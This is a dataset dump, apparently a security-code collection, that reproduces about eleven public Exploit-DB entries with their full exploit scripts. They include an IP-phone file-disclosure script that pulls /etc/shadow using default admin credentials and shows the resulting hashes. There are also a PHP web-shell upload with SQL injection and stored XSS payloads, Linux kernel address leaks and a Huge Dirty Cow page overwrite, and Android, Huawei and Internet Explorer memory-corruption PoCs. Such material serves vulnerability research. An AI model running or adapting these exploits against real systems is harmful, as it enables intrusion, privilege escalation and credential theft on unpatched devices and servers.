QLWD/code_shield huggingface dataset:
标题: Intelbras Telefone IP TIP200 LITE - Local File Disclosure EDB-ID: 44317 CVE: 2018-9010 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-03-20 漏洞利用脚本: # Exploit Title: [INTELBRAS TELEFONE IP TIP200/200 LITE Local File Include]
# Google Dork: []
# Date: 16/03/2018
# Exploit Author: [Matheus Goncalves - anhax0r]
# Vendor Homepage: [https://www.facebook.com/anhaxteam/]
# Software Link: []
# Version: [60.0.75.29] (REQUIRED)
# Tested on: [Debian]
# CVE : [if applicable]


#Remember that you need login with admin credentials to download files !!! in this case, i used default credentials

import requests as http
import subprocess
import os
from requests.auth import HTTPBasicAuth
def poc():
    print("""                -------------------------------------------------------------------------------------------------------------
                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
                -------------------------------------------------------------------------------------------------------------\n""")
    filename = raw_input("filename Ex: /etc/shadow: -> ")
    if(filename == ""):
        filename="/etc/shadow"
    r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
    print(" ")
    text = r.text
    
    print(text)
    savefile = raw_input("Save file? [Y\\n]: ")
    savefile.upper()
    if(savefile=="Y" or savefile=="y"):
        os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
        print("File saved !!")
        start()
    else:
        start()
            
def start():
    poc()
    
start()


#root@hax:~/itscanner# python p0c.py 
#                -------------------------------------------------------------------------------------------------------------
#                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
#                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
#                -------------------------------------------------------------------------------------------------------------
#filename Ex: /etc/shadow: -> /etc/shadow
 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::

#Save file? [Y\n]: y
#File saved !!

#root@hax:~/itscanner# cat shadow 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7::: URL: https://www.exploit-db.com/exploits/44317
标题: Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read EDB-ID: 44327 CVE: 2017-13262 2017-13261 2017-13260 2017-13258 类型: DOS 平台: ANDROID 发布日期: 2018-03-23 漏洞利用脚本: import os
import sys
import struct

import bluetooth


BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01

# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01


def oob_read(src_bdaddr, dst):

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.settimeout(5)
    bnep.bind((src_bdaddr, 0))
    print 'Connecting to BNEP...'
    bnep.connect((dst, BNEP_PSM))
    bnep.settimeout(1)
    print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."

    # This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
    # plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
    # It doesn't include the 'len' field, therefore it is read from out of bounds
    bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
    try:
        data = bnep.recv(3)
    except bluetooth.btcommon.BluetoothError:
        data = ''

    if data:
        print '%r' % data
    else:
        print '[No data]'

    print 'Closing connection.'
    bnep.close()


def main(src_hci, dst):
    os.system('hciconfig %s sspmode 0' % (src_hci,))
    os.system('hcitool dc %s' % (dst,))

    oob_read(src_hci, dst)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
    else:
        if os.getuid():
            print 'Error: This script must be run as root.'
        else:
            main(sys.argv[1], sys.argv[2]) URL: https://www.exploit-db.com/exploits/44327
标题: Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation EDB-ID: 44315 CVE: 2018-0882 类型: LOCAL 平台: WINDOWS 发布日期: 2018-03-20 漏洞利用脚本: Windows: Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write EoP
Platform: Windows 1703 (version 1709 seems to have fixed this bug)
Class: Elevation of Privilege

Summary: The handling of the virtual registry NtLoadKey callback reloads registry hives insecurely leading to arbitrary file creation resulting in EoP.

Description:

NOTE: This bug seems to have been fixed in 1709, but the fix hasn’t been backported to 1703 (I’ve not checked 1607). I don’t know if the fix was intentional or not, however as (according to https://support.microsoft.com/en-gb/help/13853/windows-lifecycle-fact-sheet) 1703 should be supported until at least September 2018 this should be something you’d consider fixing.

The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual registry to add changes to system hives and user hives without actually modifying the real hives. This is implemented through the normal registry callback functionality. One of the callbacks implemented is to handle the NtLoadKey system call (VrpPreLoadKey). On 1703 it doesn’t check for the Application Key flag, but then recalls ZwLoadKey with the arguments passed by the user mode caller. This effectively allows you to circumvent the requirement for SeRestorePrivilege as will also create a new hive file with kernel privileges in the context of the current user. This is a trivial EoP by dropping a arbitrary file to disk then getting system privileges.

Proof of Concept:

I’ve provided a PoC as a C# project. In order for the exploit to work you need a copy of the Get Office/My Office application installed (I tested with version 17.8830.7600.0). It could be any desktop bridge application however as you just need to run a program inside the container. Again I’ll note that this will only work on 1703 as the code seems to have been fixed in 1709. The registry hives files it creates will be locked (we can’t easily unload the hive) until reboot although it’s probably possible to trick the system into failing the load while still creating some files.

1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Start the Get Office/My Office application
3) Start the poc. It should print that it successfully created the registry files.

Expected Result:
Loading the registry key should fail.

Observed Result:
The registry key is loaded and the file test.hiv has been created in the windows folder with full access for the current user.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44315.zip URL: https://www.exploit-db.com/exploits/44315
标题: Vehicle Sales Management System - Multiple Vulnerabilities EDB-ID: 44318 CVE: 2017-1000474 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-20 漏洞利用脚本: # Exploit Title: VSMS Multiple Vulnerabilities
# Google Dork: N/A
# Date: 16-3-2018
# Exploit Author: Sing
# Vendor Homepage: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Software Link: https://sourceforge.net/projects/vsms-php/?source=typ_redirect
# Version: 07/2017 (possible v1.2)
# Tested on: CentOS 6.9
# CVE : CVE-2017-1000474



1 login/vehicles.php: Lack of file type filter enabling attacker to upload PHP scripts that can later be executed


POC

curl -i -b 'PHPSESSID=58csdp0as3lvqapqjesp67tr05' -F 'submit=submit' -F support_images[]=@./getShell.php http://10.0.0.14/soyket-vsms-php-63b563b/login/vehicles.php

The malicious PHP file has been uploaded to /var/www/html/soyket-vsms-php-63b563b/login/uploads.  Now, browse to the location and note the file name.  In my vase it's 1510529218getShell.php.  To execute it do

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/uploads/1510529218getShell.php?cmd=id



2 login/profile.php: Found SQLI in the Date of Birth text box.


POC

Paste the below POC into the birth date text box and update.  A mysql version will appear in the Position box

2015-11-30',u_position=@@version,u_type='Employee' WHERE u_email='employee@employee.com';-- -



3 login/Actions.php: Found Stored XSS in manufacturer_name


POC

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=create -d 'manufacturer_name=<script>alert(document.cookie)</script>'

Now when user's browse to login/model.php page, he/she will see an alert with the session cookie

http://10.0.0.14/soyket-vsms-php-63b563b/login/model.php



4 login/Actions.php (Multiple vulnerabilities)


POC (SQLI)

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=checkuser -d "username=employee@employee.com' union select 'SQLIIII' into outfile'/tmp/stuff.txt"

This SQLI will write SQLIIII to /tmp/stuff.txt.




POC (Information Leak

curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=listu

This gives anonymous user full list of the users table with unsalted MD5 hash passwords.



5. Solution:



The author notified of a new version with fixes (possibly v1.3).  It can be found at vendor’s home page

https://sourceforge.net/projects/vsms-php/?source=typ_redirect


Time Line

Author was notified of the vulnerabilities on 27-01-2018
Author notified of the new updates on 14-03-2018
Exploit released on 16-03-2018 URL: https://www.exploit-db.com/exploits/44318
标题: Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak EDB-ID: 44325 CVE: 2018-7273 类型: LOCAL 平台: LINUX 发布日期: 2018-03-22 漏洞利用脚本: #include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/kernel.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/fd.h>

static int drive_selector(int head) {
            return (head << 2);
}

void fd_recalibrate(int fd) {
                struct floppy_raw_cmd raw_cmd;
                int tmp;

                raw_cmd.flags = FD_RAW_INTR;
                raw_cmd.cmd_count = 2;

                // set up the command
                raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07; 
                raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0); 
                tmp = ioctl( fd, FDRAWCMD, &raw_cmd ); 
                printf("Status:%d\n",tmp); 
} 
int main(){ 
        printf("Start\n"); 
        char *d; 
        struct floppy_raw_cmd *cmd; 
         
        int fd; 
        fd = open("/dev/fd0",O_RDWR | O_NDELAY); 
        fd_recalibrate(fd); 
        close(fd); 
        printf("End\n"); 
        return 0; 
} URL: https://www.exploit-db.com/exploits/44325
标题: Linux Kernel - 'mincore()' Heap Page Disclosure (PoC) EDB-ID: 44304 CVE: 2017-16994 类型: DOS 平台: LINUX 发布日期: 2017-12-11 漏洞利用脚本: /*
 * The source is modified from 
 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
 * I try to find out infomation useful from the infoleak
 * The kernel address can be easily found out from the uninitialized memory
 * leaked from kernel, which can help bypass kaslr
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

int main(void) {
  unsigned char buf[getpagesize()/sizeof(unsigned char)];
  int right = 1;
  unsigned long addr = 0;
  
  /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  while(right){
    /* Touch a mishandle with this type mapping */
    if (mincore((void*)0x86000000, 0x1000000, buf))
      perror("mincore");
    for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) {
      addr = *(unsigned long*)(&buf[n]);
      /* Kernel address space, may need some mask&offset */
      if(addr > 0xffffffff00000000){
 right = 0;
 goto out;
      }
    }
  }
 out:
  printf("%p\n", addr);
  return 0;
} URL: https://www.exploit-db.com/exploits/44304
标题: Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation EDB-ID: 44306 CVE: 2015-8088 类型: LOCAL 平台: HARDWARE 发布日期: 2016-01-24 漏洞利用脚本: /*
 *
 *  HuaWei Mate7 hifi driver Poc
 *
 *  Writen by pray3r, <pray3r.z@gmail.com>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
 void *                  para_in;           
 unsigned int            para_size_in;       
 void *                  para_out;           
 unsigned int            para_size_out;   
};

int main(int arg, char **argv)
{
 int fd; 
 void *in = malloc(300 * 1024);
 void *out = malloc(100);
 struct misc_io_sync_param poc;

 poc.para_in = in;
 poc.para_size_in = 300 * 1024;
 poc.para_out = out;
 poc.para_size_out = 100;

 fd = open("/dev/hifi_misc", O_RDWR);

 ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

 free(in);
 free(out);

 return 0;
} URL: https://www.exploit-db.com/exploits/44306
标题: Internet Explorer - 'RegExp.lastMatch' Memory Disclosure EDB-ID: 44312 CVE: 2018-0891 类型: DOS 平台: WINDOWS 发布日期: 2018-03-20 漏洞利用脚本: /*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied.

PoC:

=========================================
*/

<!-- saved from url=(0014)about:internet -->
<script>

function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}

var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");

function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}

main();

</script>

/*
=========================================

Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/ URL: https://www.exploit-db.com/exploits/44312
标题: Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2) EDB-ID: 44305 CVE: 2017-1000405 类型: DOS 平台: LINUX 发布日期: 2017-12-11 漏洞利用脚本: /*
 * The code is modified from https://www.exploit-db.com/exploits/43199/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))

struct args{
  int fd;
  void *p;
  int stop;
  off_t off;
  char *chp;
};

void *write_thread(struct args *arg) {
  for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
  }
  return NULL;
}

void *wait_for_success(struct args *arg) {
  while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
  }
  arg->stop = 1;
  return NULL;
}

int main(void) {
  struct args arg;

  arg.off = 0;
  
  arg.p =  mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  
  if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
  arg.chp = arg.p;
  printf("mmap address is %p\n", arg.p);
  madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);

  arg.fd = open("/proc/self/mem", O_RDWR);
  if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
  }
  
  
  while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
      perror("[!] pthread_create()");
      return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
   
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
  }
  printf("[*] Overwrite a page\n");
  printf("%s\n", arg.p);
  return 0;
} URL: https://www.exploit-db.com/exploits/44305
标题: WordPress Plugin Duplicator 1.2.32 - Cross-Site Scripting EDB-ID: 44288 CVE: 2018-7543 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-15 漏洞利用脚本: # Exploit Title : Duplicator Wordpress Migration Plugin Reflected Cross Site Scripting (XSS)
# Date: 25-02-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: 1.2.32
# CVE : CVE-2018-7543
# Category : webapps

Description
===========
Duplicator is a wordpress plugin with more than 1 million of active installations. Version 1.2.32 (and possibly previous versionss) are affected by a Reflected XSS vulnerability.

Vulnerable part of code
=======================
File: duplicator/installer/build/view.step4.php:254 allows direct injection of $_POST variable 'json'.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is tricked to click over a link or browse a URL under the attacker control.

Proof of Concept
============
In order to exploit this vulnerability, an attacker has to send the following request to the server:

POST /wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1
Host: <hostname>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=wp%7C1518599198<omissis>
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

json='a';};document.write(alert(document.cookie));MyViewModel%3dfunction(){this.status%3d''

The server replies as reported below:

HTTP/1.1 200 OK
Date: Mon, 12 Feb 2018 14:15:28 GMT
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
Content-Length: 10224
Connection: close
Content-Type: text/html; charset=UTF-8

...

<script>
MyViewModel = function() {
this.status = 'a';};document.write(alert(document.cookie));MyViewModel=function(){this.status='';
var errorCount = this.status.step2.query_errs || 0;
(errorCount >= 1 )
? $('#dup-step3-install-report-count').css('color', '#BE2323')
: $('#dup-step3-install-report-count').css('color', '#197713')
};
ko.applyBindings(new MyViewModel()); 
</script>

Solution
========

Update to version 1.2.33 URL: https://www.exploit-db.com/exploits/44288
标题: Android DRM Services - Buffer Overflow EDB-ID: 44291 CVE: 2017-13253 类型: DOS 平台: ANDROID 发布日期: 2018-03-15 漏洞利用脚本: #include <utils/StrongPointer.h>
#include <binder/IServiceManager.h>
#include <binder/MemoryHeapBase.h>
#include <binder/MemoryBase.h>
#include <binder/IMemory.h>
#include <media/ICrypto.h>
#include <media/IMediaDrmService.h>
#include <media/hardware/CryptoAPI.h>

#include <stdio.h>
#include <unistd.h>

using namespace android;

static sp<ICrypto> getCrypto()
{
    sp<IServiceManager> sm = defaultServiceManager();
    sp<IBinder> binder = sm->getService(String16("media.drm"));
    sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder);
    if (service == NULL) {
        fprintf(stderr, "Failed to retrieve 'media.drm' service.\n");
        return NULL;
    }
    sp<ICrypto> crypto = service->makeCrypto();
    if (crypto == NULL) {
        fprintf(stderr, "makeCrypto failed.\n");
        return NULL;
    }
    return crypto;
}

static bool setClearKey(sp<ICrypto> crypto)
{
    // A UUID which identifies the ClearKey DRM scheme.
    const uint8_t clearkey_uuid[16] = {
        0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02,
        0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B
    };
    if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) {
        fprintf(stderr, "createPlugin failed.\n");
        return false;
    }
    return true;
}

#define DATA_SIZE (0x2000)
#define DEST_OFFSET (1)

static void executeOverflow()
{
    // Get an interface to a remote CryptoHal object.
    sp<ICrypto> crypto = getCrypto();
    if (crypto == NULL) {
        return;
    }

    if (!setClearKey(crypto)) {
        return;
    }

    // From here we're done with the preparations and go into the
    // vulnerability PoC.

    sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE);
    // This line is to merely show that we have full control over the data
    // written in the overflow.
    memset(heap->getBase(), 'A', DATA_SIZE);
    sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE);
    sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
        DEST_OFFSET);
    int heapSeqNum = crypto->setHeap(heap);
    if (heapSeqNum < 0) {
        fprintf(stderr, "setHeap failed.\n");
        return;
    }

    CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
    ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
        .mHeapSeqNum = heapSeqNum };
    // mNumBytesOfClearData is the actual size of data to be copied.
    CryptoPlugin::SubSample subSamples[] = { {
        .mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
    ICrypto::DestinationBuffer destination = {
        .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
        .mSharedMemory = destMemory };

    printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
        CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
        ARRAY_SIZE(subSamples), destination, NULL));
}

int main() {
    executeOverflow();
    return 0;
} URL: https://www.exploit-db.com/exploits/44291